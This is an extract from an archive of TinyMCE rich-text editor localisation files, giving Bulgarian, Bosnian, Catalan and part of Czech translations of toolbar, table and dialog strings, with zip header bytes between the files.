"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434 \u043f\u0440\u0435\u0434\u0438",
"Scope": "\u041e\u0431\u0445\u0432\u0430\u0442",
"Delete table":
"\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435 \u043d\u0430
\u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",
"Header cell":
"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u0430
\u043a\u043b\u0435\u0442\u043a\u0430
(\u0430\u043d\u0442\u0435\u0442\u043a\u0430)",
"Column": "\u041a\u043e\u043b\u043e\u043d\u0430",
"Cell": "\u041a\u043b\u0435\u0442\u043a\u0430",
"Header": "\u0413\u043e\u0440\u0435\u043d
\u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b
(header)",
"Cell type": "\u0422\u0438\u043f \u043d\u0430
\u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430",
"Copy row":
"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434",
"Row properties":
"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430
\u0440\u0435\u0434\u0430",
"Table properties":
"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430
\u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",
"Row group": "Row group",
"Right": "\u0414\u044f\u0441\u043d\u043e",
"Insert column after":
"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430
\u043a\u043e\u043b\u043e\u043d\u0430 \u0441\u043b\u0435\u0434",
"Cols": "\u041a\u043e\u043b\u043e\u043d\u0438",
"Insert row after":
"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434 \u0441\u043b\u0435\u0434",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Cell properties":
"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430
\u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430",
"Left": "\u041b\u044f\u0432\u043e",
"Cut row":
"\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434",
"Delete column":
"\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435 \u043d\u0430
\u043a\u043e\u043b\u043e\u043d\u0430\u0442\u0430",
"Center":
"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e",
"Merge cells": "\u0421\u043b\u0438\u0432\u0430\u043d\u0435
\u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",
"Insert template":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0448\u0430\u0431\u043b\u043e\u043d",
"Templates":
"\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Background color": "\u0424\u043e\u043d\u043e\u0432
\u0446\u0432\u044f\u0442",
"Text color": "\u0426\u0432\u044f\u0442 \u043d\u0430
\u0448\u0440\u0438\u0444\u0442\u0430",
"Show blocks":
"\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435 \u043d\u0430
\u0431\u043b\u043e\u043a\u043e\u0432\u0435\u0442\u0435",
"Show invisible characters":
"\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435 \u043d\u0430
\u043d\u0435\u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c\u0438
\u0437\u043d\u0430\u0446\u0438",
"Words: {0}": "\u0411\u0440\u043e\u0439
\u0434\u0443\u043c\u0438: {0}",
"Insert":
"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435",
"File": "\u0424\u0430\u0439\u043b",
"Edit":
"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u043d\u0435",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u041f\u043e\u043b\u0435 \u0437\u0430
\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d
\u0442\u0435\u043a\u0441\u0442.
\u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 Alt+F9 \u0437\u0430
\u043c\u0435\u043d\u044e; Alt+F10 \u0437\u0430
\u043b\u0435\u043d\u0442\u0430 \u0441
\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438; Alt+0
\u0437\u0430 \u043f\u043e\u043c\u043e\u0449.",
"Tools":
"\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438",
"View": "\u0418\u0437\u0433\u043b\u0435\u0434",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430",
"Format":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435"
});PKR��[2|����tinymce/langs/bs.jsnu�[���tinymce.addI18n('bs',{
"Cut": "Izre\u017ei",
"Heading 5": "Naslov 5",
"Header 2": "Zaglavlje 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Va\u0161 preglednik ne podr\u017eava direktan pristup
me\u0111uspremniku (clipboard). Molimo Vas da umjesto toga koristite
kratice na tastaturi Ctrl+X\/C\/V.",
"Heading 4": "Naslov 4",
"Div": "Div",
"Heading 2": "Naslov 2",
"Paste": "Zalijepi",
"Close": "Zatvori",
"Font Family": "Vrsta pisma",
"Pre": "Pre",
"Align right": "Poravnaj desno",
"New document": "Novi dokument",
"Blockquote": "Blockquote",
"Numbered list": "Numerisana lista",
"Heading 1": "Naslov 1",
"Headings": "Naslovi",
"Increase indent": "Pove\u0107aj uvla\u010denje",
"Formats": "Formati",
"Headers": "Zaglavlja",
"Select all": "Ozna\u010di sve",
"Header 3": "Zaglavlje 3",
"Blocks": "Blokovi",
"Undo": "Poni\u0161ti",
"Strikethrough": "Crta kroz sredinu",
"Bullet list": "Lista",
"Header 1": "Zaglavlje 1",
"Superscript": "Eksponent",
"Clear formatting": "Ukloni oblikovanje",
"Font Sizes": "Veli\u010dine fonta",
"Subscript": "Indeks",
"Header 6": "Zaglavlje 6",
"Redo": "Vrati",
"Paragraph": "Paragraf",
"Ok": "U redu",
"Bold": "Podebljano",
"Code": "Kod",
"Italic": "Kurziv",
"Align center": "Poravnaj po sredini",
"Header 5": "Zaglavlje 5",
"Heading 6": "Naslov 6",
"Heading 3": "Naslov 3",
"Decrease indent": "Smanji uvla\u010denje",
"Header 4": "Zaglavlje 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Akcija zalijepi od sada
lijepi \u010disti tekst. Sadr\u017eaj \u0107e biti zaljepljen kao
\u010disti tekst sve dok ne isklju\u010dite ovu opciju.",
"Underline": "Linija ispod",
"Cancel": "Odustani",
"Justify": "Obostrano poravnanje",
"Inline": "Unutra\u0161nje",
"Copy": "Kopiraj",
"Align left": "Poravnaj lijevo",
"Visual aids": "Vizualna pomo\u0107",
"Lower Greek": "Mala gr\u010dka slova",
"Square": "Kvadrat",
"Default": "Zadano",
"Lower Alpha": "Mala slova",
"Circle": "Krug",
"Disc": "Disk",
"Upper Alpha": "Velika slova",
"Upper Roman": "Velika rimska slova",
"Lower Roman": "Mala rimska slova",
"Name": "Ime",
"Anchor": "Sidro",
"You have unsaved changes are you sure you want to navigate
away?": "Postoje izmjene koje nisu snimljene, jeste li sigurni da
\u017eelite iza\u0107i?",
"Restore last draft": "Vrati posljednju skicu",
"Special character": "Poseban znak",
"Source code": "Izvorni kod",
"B": "B",
"R": "R",
"G": "G",
"Color": "Boja",
"Right to left": "S desna na lijevo",
"Left to right": "S lijeva na desno",
"Emoticons": "Emotikoni",
"Robots": "Roboti pretra\u017eiva\u010da",
"Document properties": "Svojstva dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne rije\u010di",
"Encoding": "Kodna stranica",
"Description": "Opis",
"Author": "Autor",
"Fullscreen": "Cijeli ekran",
"Horizontal line": "Horizontalna linija",
"Horizontal space": "Horizontalan razmak",
"Insert\/edit image": "Ubaci\/izmijeni sliku",
"Insert\/Edit code sample": "Ubaci\/izmijeni uzorak
koda",
"General": "Op\u0107enito",
"Advanced": "Napredno",
"Source": "Izvor",
"Border": "Ivica",
"Constrain proportions": "Zadr\u017ei proporcije",
"Vertical space": "Vertikalni razmak",
"Image description": "Opis slike",
"Style": "Stil",
"Dimensions": "Dimenzije",
"Insert image": "Ubaci sliku",
"Zoom in": "Pove\u0107aj",
"Contrast": "Kontrast",
"Back": "Nazad",
"Gamma": "Gamma",
"Flip horizontally": "Obrni horizontalno",
"Resize": "Promjeni veli\u010dinu",
"Sharpen": "Izo\u0161travanje",
"Zoom out": "Smanji",
"Insert image": "Ubaci sliku",
"Apply": "Primijeni",
"Brightness": "Svjetlina",
"Rotate clockwise": "Rotiraj desno",
"Rotate counterclockwise": "Rotiraj lijevo",
"Edit image": "Uredi sliku",
"Color levels": "Nivoi boje",
"Crop": "Obre\u017ei",
"Orientation": "Orijentacija",
"Flip vertically": "Obrni vertikalno",
"Invert": "Invertuj",
"Insert date\/time": "Ubaci datum\/vrijeme",
"Remove link": "Ukloni poveznicu",
"Url": "Url",
"Text to display": "Tekst za prikaz",
"Anchors": "Kra\u0107e poveznice",
"Insert link": "Ubaci poveznicu",
"New window": "Novi prozor",
"None": "Ni\u0161ta",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URL koji ste unijeli izgleda da
je eksterni link. \u017delite li dodati potrebni http:\/\/ prefiks?",
"Target": "Meta",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "URL koji ste unijeli izgleda da
je adresa e-po\u0161te. \u017delite li dodati potrebni mailto:
prefiks?",
"Insert\/edit link": "Umetni\/izmijeni link",
"Insert\/edit video": "Umetni\/izmijeni video",
"Poster": "Poster",
"Alternative source": "Alternativni izvor",
"Paste your embed code below:": "Umetnite va\u0161 kod za
ugradnju ispod:",
"Insert video": "Umetni video",
"Embed": "Ugradi",
"Nonbreaking space": "Neprekidaju\u0107i razmak",
"Page break": "Prijelom stranice",
"Paste as text": "Zalijepi kao tekst",
"Preview": "Pregled",
"Print": "Ispis",
"Save": "Spremi",
"Could not find the specified string.": "Tra\u017eeni tekst
nije prona\u0111en",
"Replace": "Zamijeni",
"Next": "Sljede\u0107i",
"Whole words": "Cijele rije\u010di",
"Find and replace": "Prona\u0111i i zamijeni",
"Replace with": "Zamijeni sa",
"Find": "Tra\u017ei",
"Replace all": "Zamijeni sve",
"Match case": "Pazi na mala i velika slova",
"Prev": "Prethodni",
"Spellcheck": "Provjeri pravopis",
"Finish": "Zavr\u0161i",
"Ignore all": "Zanemari sve",
"Ignore": "Zanemari",
"Add to Dictionary": "Dodaj u rje\u010dnik",
"Insert row before": "Umetni redak prije",
"Rows": "Redovi",
"Height": "Visina",
"Paste row after": "Zalijepi redak nakon",
"Alignment": "Poravnanje",
"Border color": "Boja ivice",
"Column group": "Grupirane kolone",
"Row": "Redak",
"Insert column before": "Umetni kolonu prije",
"Split cell": "Razdvoji polja",
"Cell padding": "Razmak unutar polja",
"Cell spacing": "Razmak izme\u0111u polja",
"Row type": "Vrsta redka",
"Insert table": "Umetni tablicu",
"Body": "Sadr\u017eaj",
"Caption": "Naslov",
"Footer": "Podno\u017eje",
"Delete row": "Izbri\u0161i redak",
"Paste row before": "Zalijepi redak prije",
"Scope": "Doseg",
"Delete table": "Izbri\u0161i tablicu",
"H Align": "H Poravnavanje",
"Top": "Vrh",
"Header cell": "Polje zaglavlja",
"Column": "Kolona",
"Row group": "Grupirani redovi",
"Cell": "Polje",
"Middle": "Sredina",
"Cell type": "Vrsta polja",
"Copy row": "Kopiraj redak",
"Row properties": "Svojstva redka",
"Table properties": "Svojstva tablice",
"Bottom": "Dno",
"V Align": "V Poravnavanje",
"Header": "Zaglavlje",
"Right": "Desno",
"Insert column after": "Umetni kolonu poslije",
"Cols": "Stupci",
"Insert row after": "Umetni redak poslije",
"Width": "\u0160irina",
"Cell properties": "Svojstva polja",
"Left": "Lijevo",
"Cut row": "Izre\u017ei redak",
"Delete column": "Izbri\u0161i kolonu",
"Center": "Sredina",
"Merge cells": "Spoji polja",
"Insert template": "Umetni predlo\u017eak",
"Templates": "Predlo\u0161ci",
"Background color": "Boja pozadine",
"Custom...": "Prilago\u0111eno...",
"Custom color": "Prilago\u0111ena boja",
"No color": "Bez boje",
"Text color": "Boja teksta",
"Show blocks": "Prika\u017ei blokove",
"Show invisible characters": "Prika\u017ei nevidljive
znakove",
"Words: {0}": "Rije\u010di: {0}",
"Insert": "Umetni",
"File": "Datoteka",
"Edit": "Izmijeni",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Pritisni ALT-F9 za izbornik. Pritisni
ALT-F10 za alatnu traku. Pritisni ALT-0 za pomo\u0107",
"Tools": "Alati",
"View": "Pogled",
"Table": "Tablica",
"Format": "Format",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id treba da po\u010dinje
sa slovom, i pored slova mogu se koristiti samo brojevi, crtice,
ta\u010dke, zarezi ili donje crte.",
"Insert/Edit code sample": "Ubaci/Izmijeni primjer
koda",
"Language": "Jezik",
"Image": "Image",
"Date/time": "Datum/vrijeme",
"Link": "Link",
"Paste or type a link": "Zalijepi ili unesi link",
"Insert/Edit Media": "Ubaci/Izmijeni medij",
"Media": "Medij",
"Table of Contents": "Sadr\u017eaj"
});PKR��[%<�jjtinymce/langs/ca.jsnu�[���tinymce.addI18n('ca',{
"Cut": "Retalla",
"Heading 5": "Encap\u00e7alament 5",
"Header 2": "Cap\u00e7alera 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "El
vostre navegador no suporta l'acc\u00e9s directe al portaobjectes. Si
us plau, feu servir les dreceres de teclat Ctrl+X\/C\/V.",
"Heading 4": "Encap\u00e7alament 4",
"Div": "Div",
"Heading 2": "Encap\u00e7alament 2",
"Paste": "Enganxa",
"Close": "Tanca",
"Font Family": "Fam\u00edlia de la font",
"Pre": "Pre",
"Align right": "Aliniat a la dreta",
"New document": "Nou document",
"Blockquote": "Cita",
"Numbered list": "Llista enumerada",
"Heading 1": "Encap\u00e7alament 1",
"Headings": "Encap\u00e7alaments",
"Increase indent": "Augmentar sagnat",
"Formats": "Formats",
"Headers": "Cap\u00e7aleres",
"Select all": "Seleccionar-ho tot",
"Header 3": "Cap\u00e7alera 3",
"Blocks": "Blocs",
"Undo": "Desfer",
"Strikethrough": "Ratllat",
"Bullet list": "Llista no ordenada",
"Header 1": "Cap\u00e7alera 1",
"Superscript": "Super\u00edndex",
"Clear formatting": "Eliminar format",
"Font Sizes": "Mides de la font",
"Subscript": "Sub\u00edndex",
"Header 6": "Cap\u00e7alera 6",
"Redo": "Refer",
"Paragraph": "Par\u00e0graf",
"Ok": "Acceptar",
"Bold": "Negreta",
"Code": "Codi",
"Italic": "Cursiva",
"Align center": "Centrat",
"Header 5": "Cap\u00e7alera 5",
"Heading 6": "Encap\u00e7alament 6",
"Heading 3": "Encap\u00e7alament 3",
"Decrease indent": "Disminuir sagnat",
"Header 4": "Cap\u00e7alera 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Enganxar ara est\u00e0
en mode text pla. Els continguts s'enganxaran com a text pla fins que
desactivis aquesta opci\u00f3. ",
"Underline": "Subratllat",
"Cancel": "Cancel\u00b7la",
"Justify": "Justificat",
"Inline": "En l\u00ednia",
"Copy": "Copia",
"Align left": "Aliniat a l'esquerra",
"Visual aids": "Assist\u00e8ncia visual",
"Lower Greek": "Grec menor",
"Square": "Quadrat",
"Default": "Per defecte",
"Lower Alpha": "Alfa menor",
"Circle": "Cercle",
"Disc": "Disc",
"Upper Alpha": "Alfa major",
"Upper Roman": "Roman major",
"Lower Roman": "Roman menor",
"Name": "Nom",
"Anchor": "\u00c0ncora",
"You have unsaved changes are you sure you want to navigate
away?": "Teniu canvis sense desar, esteu segur que voleu
deixar-ho ara?",
"Restore last draft": "Restaurar l'\u00faltim
esborrany",
"Special character": "Car\u00e0cter especial",
"Source code": "Codi font",
"B": "B",
"R": "R",
"G": "G",
"Color": "Color",
"Right to left": "De dreta a esquerra",
"Left to right": "D'esquerra a dreta",
"Emoticons": "Emoticones",
"Robots": "Robots",
"Document properties": "Propietats del document",
"Title": "T\u00edtol",
"Keywords": "Paraules clau",
"Encoding": "Codificaci\u00f3",
"Description": "Descripci\u00f3",
"Author": "Autor",
"Fullscreen": "Pantalla completa",
"Horizontal line": "L\u00ednia horitzontal",
"Horizontal space": "Espai horitzontal",
"Insert\/edit image": "Inserir\/editar imatge",
"General": "General",
"Advanced": "Avan\u00e7at",
"Source": "Font",
"Border": "Vora",
"Constrain proportions": "Mantenir proporcions",
"Vertical space": "Espai vertical",
"Image description": "Descripci\u00f3 de la imatge",
"Style": "Estil",
"Dimensions": "Dimensions",
"Insert image": "Inserir imatge",
"Zoom in": "Ampliar",
"Contrast": "Contrast",
"Back": "Tornar",
"Gamma": "Gamma",
"Flip horizontally": "Capgirar horitzontalment",
"Resize": "Canviar mida",
"Sharpen": "Remarcar vores",
"Zoom out": "Empetitir",
"Image options": "Opcions d'imatge",
"Apply": "Aplicar",
"Brightness": "Brillantor",
"Rotate clockwise": "Girar a la dreta",
"Rotate counterclockwise": "Girar a l'esquerra",
"Edit image": "Editar imatge",
"Color levels": "Nivells de color",
"Crop": "Escap\u00e7ar",
"Orientation": "Orientaci\u00f3",
"Flip vertically": "Capgirar verticalment",
"Invert": "Invertir",
"Insert date\/time": "Inserir data\/hora",
"Remove link": "Treure enlla\u00e7",
"Url": "URL",
"Text to display": "Text per mostrar",
"Anchors": "\u00c0ncores",
"Insert link": "Inserir enlla\u00e7",
"New window": "Finestra nova",
"None": "Cap",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "L'URL que has escrit
sembla un enlla\u00e7 extern. Vols afegir-li el prefix obligatori http:\/\/
?",
"Target": "Dest\u00ed",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "L'URL que has escrit sembla
una adre\u00e7a de correu electr\u00f2nic. Vols afegir-li el prefix
obligatori mailto: ?",
"Insert\/edit link": "Inserir\/editar enlla\u00e7",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Poster": "P\u00f3ster",
"Alternative source": "Font alternativa",
"Paste your embed code below:": "Enganxau el codi a
sota:",
"Insert video": "Inserir v\u00eddeo",
"Embed": "Incloure",
"Nonbreaking space": "Espai fixe",
"Page break": "Salt de p\u00e0gina",
"Paste as text": "Enganxar com a text",
"Preview": "Previsualitzaci\u00f3",
"Print": "Imprimir",
"Save": "Desa",
"Could not find the specified string.": "No es pot trobar el
text especificat.",
"Replace": "Rempla\u00e7ar",
"Next": "Seg\u00fcent",
"Whole words": "Paraules senceres",
"Find and replace": "Buscar i rempla\u00e7ar",
"Replace with": "Rempla\u00e7ar amb",
"Find": "Buscar",
"Replace all": "Rempla\u00e7ar-ho tot",
"Match case": "Coincidir maj\u00fascules",
"Prev": "Anterior",
"Spellcheck": "Comprovar ortrografia",
"Finish": "Finalitzar",
"Ignore all": "Ignorar tots",
"Ignore": "Ignorar",
"Add to Dictionary": "Afegir al diccionari",
"Insert row before": "Inserir fila a sobre",
"Rows": "Files",
"Height": "Al\u00e7ada",
"Paste row after": "Enganxar fila a sota",
"Alignment": "Aliniament",
"Border color": "Color de vora",
"Column group": "Grup de columna",
"Row": "Fila",
"Insert column before": "Inserir columna abans",
"Split cell": "Dividir cel\u00b7les",
"Cell padding": "Marge intern",
"Cell spacing": "Espai entre cel\u00b7les",
"Row type": "Tipus de fila",
"Insert table": "Inserir taula",
"Body": "Cos",
"Caption": "Encap\u00e7alament",
"Footer": "Peu",
"Delete row": "Esborrar fila",
"Paste row before": "Enganxar fila a sobre",
"Scope": "\u00c0mbit",
"Delete table": "Esborrar taula",
"H Align": "Al\u00edniament H",
"Top": "Superior",
"Header cell": "Cel\u00b7la de cap\u00e7alera",
"Column": "Columna",
"Row group": "Grup de fila",
"Cell": "Cel\u00b7la",
"Middle": "Mitj\u00e0",
"Cell type": "Tipus de cel\u00b7la",
"Copy row": "Copiar fila",
"Row properties": "Propietats de fila",
"Table properties": "Propietats de taula",
"Bottom": "Inferior",
"V Align": "Al\u00edniament V",
"Header": "Cap\u00e7alera",
"Right": "A la dreta",
"Insert column after": "Inserir columna despr\u00e9s",
"Cols": "Cols",
"Insert row after": "Inserir fila a sota",
"Width": "Amplada",
"Cell properties": "Propietats de cel\u00b7la",
"Left": "A l'esquerra",
"Cut row": "Retallar fila",
"Delete column": "Esborrar columna",
"Center": "Centrat",
"Merge cells": "Fusionar cel\u00b7les",
"Insert template": "Inserir plantilla",
"Templates": "Plantilles",
"Background color": "Color del fons",
"Custom...": "Personalitzar...",
"Custom color": "Personalitzar el color",
"No color": "Sense color",
"Text color": "Color del text",
"Show blocks": "Mostrar blocs",
"Show invisible characters": "Mostrar car\u00e0cters
invisibles",
"Words: {0}": "Paraules: {0}",
"Insert": "Inserir",
"File": "Arxiu",
"Edit": "Edici\u00f3",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u00c0rea de text amb format. Premeu
ALT-F9 per mostrar el men\u00fa, ALT F10 per la barra d'eines i ALT-0
per ajuda.",
"Tools": "Eines",
"View": "Veure",
"Table": "Taula",
"Format": "Format"
});PKR��[Y��bbtinymce/langs/cs.jsnu�[���tinymce.addI18n('cs',{
"Cut": "Vyjmout",
"Heading 5": "Nadpis 5",
"Header 2": "Nadpis 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"V\u00e1\u0161 prohl\u00ed\u017ee\u010d nepodporuje
p\u0159\u00edm\u00fd p\u0159\u00edstup do schr\u00e1nky. Pou\u017eijte
pros\u00edm kl\u00e1vesov\u00e9 zkratky Ctrl+X\/C\/V.",
"Heading 4": "Nadpis 4",
"Div": "Div (blok)",
"Heading 2": "Nadpis 2",
"Paste": "Vlo\u017eit",
"Close": "Zav\u0159\u00edt",
"Font Family": "Typ p\u00edsma",
"Pre": "Pre (p\u0159edform\u00e1tov\u00e1no)",
"Align right": "Zarovnat vpravo",
"New document": "Nov\u00fd dokument",
"Blockquote": "Citace",
"Numbered list": "\u010c\u00edslov\u00e1n\u00ed",
"Heading 1": "Nadpis 1",
"Headings": "Nadpisy",
"Increase indent": "Zv\u011bt\u0161it odsazen\u00ed",
"Formats": "Form\u00e1ty",
"Headers": "Nadpisy",
"Select all": "Vybrat v\u0161e",
"Header 3": "Nadpis 3",
"Blocks": "Blokov\u00e9 zobrazen\u00ed (block)",
"Undo": "Zp\u011bt",
"Strikethrough": "P\u0159e\u0161rktnut\u00e9",
"Bullet list": "Odr\u00e1\u017eky",
"Header 1": "Nadpis 1",
"Superscript": "Horn\u00ed index",
"Clear formatting": "Vymazat
form\u00e1tov\u00e1n\u00ed",
"Font Sizes": "Velikost p\u00edsma",
"Subscript": "Doln\u00ed index",
"Header 6": "Nadpis 6",
"Redo": "Znovu",
"Paragraph": "Odstavec",
"Ok": "OK",
"Bold": "Tu\u010dn\u00e9",
"Code": "Code (k\u00f3d)",
"Italic": "Kurz\u00edva",
"Align center": "Zarovnat na st\u0159ed",
"Header 5": "Nadpis 5",
"Heading 6": "Nadpis 6",
"Heading 3": "Nadpis 3",
"Decrease indent": "Zmen\u0161it odsazen\u00ed",
"Header 4": "Nadpis 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Je zapnuto
vkl\u00e1d\u00e1n\u00ed \u010dist\u00e9ho textu. Dokud nebude tato volba
vypnuta, bude ve\u0161ker\u00fd obsah vlo\u017een jako \u010dist\u00fd
text.",
"Underline": "Podtr\u017een\u00e9",
"Cancel": "Zru\u0161it",
"Justify": "Zarovnat do bloku",
"Inline": "\u0158\u00e1dkov\u00e9 zobrazen\u00ed
(inline)",
"Copy": "Kop\u00edrovat",
"Align left": "Zarovnat vlevo",
"Visual aids": "Vizu\u00e1ln\u00ed pom\u016fcky",
"Lower Greek": "Mal\u00e9 p\u00edsmenkov\u00e1n\u00ed",
"Square": "\u010ctvere\u010dek",
"Default": "V\u00fdchoz\u00ed",
"Lower Alpha": "Norm\u00e1ln\u00ed
\u010d\u00edslov\u00e1n\u00ed",
"Circle": "Kole\u010dko",
"Disc": "Punt\u00edk",
"Upper Alpha": "velk\u00e9
p\u00edsmenkov\u00e1n\u00ed",
"Upper Roman": "\u0158\u00edmsk\u00e9
\u010d\u00edslice",
"Lower Roman": "Mal\u00e9 \u0159\u00edmsk\u00e9
\u010d\u00edslice",
"Name": "N\u00e1zev",
"Anchor": "Kotva",
"You have unsaved changes are you sure you want to navigate
away?": "M\u00e1te neulo\u017een\u00e9 zm\u011bny. Opravdu chcete
opustit str\u00e1nku?",
"Restore last draft": "Obnovit posledn\u00ed koncept",
"Special character": "Speci\u00e1ln\u00ed znak",
"Source code": "Zdrojov\u00fd k\u00f3d",
"Color": "Barva",
"Right to left": "Zprava doleva",
"Left to right": "Zleva doprava",
"Emoticons": "Emotikony",
"Robots": "Roboti",
"Document properties": "Vlastnosti dokumentu",
"Title": "Titulek",
"Keywords": "Kl\u00ed\u010dov\u00e1 slova",
"Encoding": "K\u00f3dov\u00e1n\u00ed",
"Description": "Popis",
"Author": "Autor",
"Fullscreen": "Na celou obrazovku",
"Horizontal line": "Vodorovn\u00e1 \u010d\u00e1ra",
"Horizontal space": "Horizont\u00e1ln\u00ed mezera",
"Insert\/edit image": "Vlo\u017eit \/ upravit
obr\u00e1zek",
"General": "Obecn\u00e9",
"Advanced": "Pokro\u010dil\u00e9",
"Source": "Url",
"Border": "R\u00e1me\u010dek",
"Constrain proportions": "Zachovat proporce",
"Vertical space": "Vertik\u00e1ln\u00ed mezera",
"Image description": "Popis obr\u00e1zku",
"Style": "Styl",
"Dimensions": "Rozm\u011bry",
"Insert image": "Vlo\u017eit obr\u00e1zek",
"Insert date\/time": "Vlo\u017eit datum \/ \u010das",
"Remove link": "Odstranit odkaz",
"Url": "Odkaz",
"Text to display": "Text k zobrazen\u00ed",
"Anchors": "Kotvy",
"Insert link": "Vlo\u017eit odkaz",
"New window": "Nov\u00e9 okno",
"None": "\u017d\u00e1dn\u00e9",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Zadan\u00e9 URL vypad\u00e1
jako odkaz na jin\u00fd web. Chcete doplnit povinn\u00fd prefix
http:\/\/?",
"Target": "C\u00edl",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Zadan\u00e9 URL vypad\u00e1 jako
e-mailov\u00e1 adresa. Chcete doplnit povinn\u00fd prefix mailto:?",
"Insert\/edit link": "Vlo\u017eit \/ upravit odkaz",
"Insert\/edit video": "Vlo\u017eit \/ upravit video",
"Poster": "N\u00e1hled",
"Alternative source": "Alternativn\u00ed zdroj",
"Paste your embed code below:": "Vlo\u017ete k\u00f3d pro
vlo\u017een\u00ed n\u00ed\u017ee:",
"Insert video": "Vlo\u017eit video",
"Embed": "Vlo\u017eit",
"Nonbreaking space": "Pevn\u00e1 mezera",
"Page break": "Konec str\u00e1nky",
"Paste as text": "Vlo\u017eit jako \u010dist\u00fd
text",
"Preview": "N\u00e1hled",
"Print": "Tisk",
"Save": "Ulo\u017eit",
"Could not find the specified string.": "Zadan\u00fd
\u0159et\u011bzec nebyl nalezen.",
"Replace": "Nahradit",
"Next": "Dal\u0161\u00ed",
"Whole words": "Pouze cel\u00e1 slova",
"Find and replace": "Naj\u00edt a nahradit",
"Replace with": "Nahradit za",
"Find": "Naj\u00edt",
"Replace all": "Nahradit v\u0161e",
"Match case": "Rozli\u0161ovat mal\u00e1 a velk\u00e1
p\u00edsmena",
"Prev": "P\u0159edchoz\u00ed",
"Spellcheck": "Kontrola pravopisu",
"Finish": "Ukon\u010dit",
"Ignore all": "Ignorovat v\u0161e",
"Ignore": "Ignorovat",
"Add to Dictionary": "P\u0159idat do slovn\u00edku",
"Insert row before": "Vlo\u017eit \u0159\u00e1dek nad",
"Rows": "\u0158\u00e1dek",
"Height": "V\u00fd\u0161ka",
"Paste row after": "Vlo\u017eit \u0159\u00e1dek pod",
"Alignment": "Zarovn\u00e1n\u00ed",
"Column group": "Skupina sloupc\u016f",
"Row": "\u0158\u00e1dek",
"Insert column before": "Vlo\u017eit sloupec vlevo",
"Split cell": "Rozd\u011blit bu\u0148ky",
"Cell padding": "Vnit\u0159n\u00ed okraj bun\u011bk",
"Cell spacing": "Vn\u011bj\u0161\u00ed okraj
bun\u011bk",
"Row type": "Typ \u0159\u00e1dku",
"Insert table": "Vlo\u017eit tabulku",
"Body": "T\u011blo",
"Caption": "Nadpis",
"Footer": "Pati\u010dka",
"Delete row": "Smazat \u0159\u00e1dek",
"Paste row before": "Vlo\u017eit \u0159\u00e1dek nad",
"Scope": "Rozsah",
"Delete table": "Smazat tabulku",
"H Align": "Horizont\u00e1ln\u00ed
zarovn\u00e1n\u00ed",
"Top": "Nahoru",
"Header cell": "Hlavi\u010dkov\u00e1 bu\u0148ka",
"Column": "Sloupec",
"Row group": "Skupina \u0159\u00e1dk\u016f",
"Cell": "Bu\u0148ka",
"Middle": "Uprost\u0159ed",
"Cell type": "Typ bu\u0148ky",
"Copy row": "Kop\u00edrovat \u0159\u00e1dek",
"Row properties": "Vlastnosti \u0159\u00e1dku",
